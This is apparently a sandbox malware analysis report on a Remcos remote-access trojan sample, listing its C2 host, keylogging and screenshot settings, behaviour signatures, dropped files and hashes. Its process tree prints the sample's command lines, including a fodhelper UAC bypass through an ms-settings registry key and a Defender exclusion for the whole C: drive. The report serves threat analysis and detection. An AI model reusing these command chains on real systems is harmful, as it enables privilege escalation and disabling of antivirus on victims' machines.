Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    24/07/2024, 11:30

General

  • Target
    bfd569a327d9dacfbb01d3db746b42b9ed8beea155e60b2468bebeb18fd4ea92.exe
  • Size 1.2MB
  • Sample240724-nma91axclf
  • SHA256 bfd569a327d9dacfbb01d3db746b42b9ed8beea155e60b2468bebeb18fd4ea92
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • sembe.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    nots.dat

  • keylog_flag

    false

  • keylog_folder

    note

  • keylog_path

    %Temp%

  • mouse_option

    false

  • mutex

    Rmc-999Z97

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Executes dropped EXE 21 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 3 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfd569a327d9dacfbb01d3db746b42b9ed8beea155e60b2468bebeb18fd4ea92.exe
    "C:\Users\Admin\AppData\Local\Temp\bfd569a327d9dacfbb01d3db746b42b9ed8beea155e60b2468bebeb18fd4ea92.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4596
    • C:\Users\Public\Libraries\mmckmnqO.pif
      C:\Users\Public\Libraries\mmckmnqO.pif
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E138.tmp\E139.tmp\E13A.bat C:\Users\Public\Libraries\mmckmnqO.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:4528
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:2812
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:2976
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3148
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:4668
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4444
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:4900
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                4⤵
                • Executes dropped EXE
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:1408
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 2
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:2060
              • C:\Windows\system32\cmd.exe
                cmd.exe
                4⤵
                  PID:2284
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2676
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                    5⤵
                      PID:4484
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2940
                    • C:\Users\Public\xkn.exe
                      C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                      5⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1560
                      • C:\Users\Public\alpha.exe
                        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1380
                        • C:\Users\Public\ger.exe
                          C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                          7⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:2320
                  • C:\Windows \System32\per.exe
                    "C:\\Windows \\System32\\per.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:4296
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3132
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:420
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2784
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettingsAdminFlows.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:408
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                    4⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3900
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.1 -n 2
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:3140
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    4⤵
                    • Executes dropped EXE
                    PID:1892
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    4⤵
                    • Executes dropped EXE
                    PID:4528
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    4⤵
                    • Executes dropped EXE
                    PID:2760
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:3804
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:3460
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
                    4⤵
                    • Executes dropped EXE
                    PID:3148
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM cmd.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2204
              • C:\Windows\SysWOW64\extrac32.exe
                C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\bfd569a327d9dacfbb01d3db746b42b9ed8beea155e60b2468bebeb18fd4ea92.exe C:\\Users\\Public\\Libraries\\Oqnmkcmm.PIF
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3264
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
              1⤵
                PID:4624

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    E13A.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\E138.tmp\E139.tmp\E13A.bat
                    • Size 1KB
                    • SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_bk4pwdqk.yov.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bk4pwdqk.yov.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    nots.dat

                    • Path C:\Users\Admin\AppData\Local\Temp\note\nots.dat
                    • Size 144B
                    • SHA256 978ada15774150e75a1d3ce9237d7c3358e9912a586af46cb2b426b9d6feb1ea
                    • MD5 SHA1 SHA512

                    mmckmnqO.pif

                    • Path C:\Users\Public\Libraries\mmckmnqO.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 324KB
                    • SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 92KB
                    • SHA256 ef7d2e4387bc2ff0da05f546a20a159134cb429ecfb1517a655729aed12071eb
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 440KB
                    • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
                    • MD5 SHA1 SHA512 SSDEEP

                    per.exe

                    • Path C:\Windows \System32\per.exe
                    • Size 100KB
                    • SHA256 2b5089d56eb0ec9b2854102b5fe984f5be96756a170cc46774021e36b315edc3
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1560-42-0x0000018B11630000-0x0000018B11652000-memory.dmp

                    memory/2064-70-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2064-10-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2064-8-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2064-11-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/2064-5-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2064-72-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/4596-81-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-1-0x0000000000400000-0x0000000000531000-memory.dmp

                    memory/4596-0-0x0000000000C30000-0x0000000000C31000-memory.dmp

                    memory/4596-82-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-83-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-84-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-85-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-90-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-91-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-78-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-101-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-102-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-112-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-113-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-123-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-134-0x0000000033A50000-0x0000000034A50000-memory.dmp

                    memory/4596-135-0x0000000033A50000-0x0000000034A50000-memory.dmp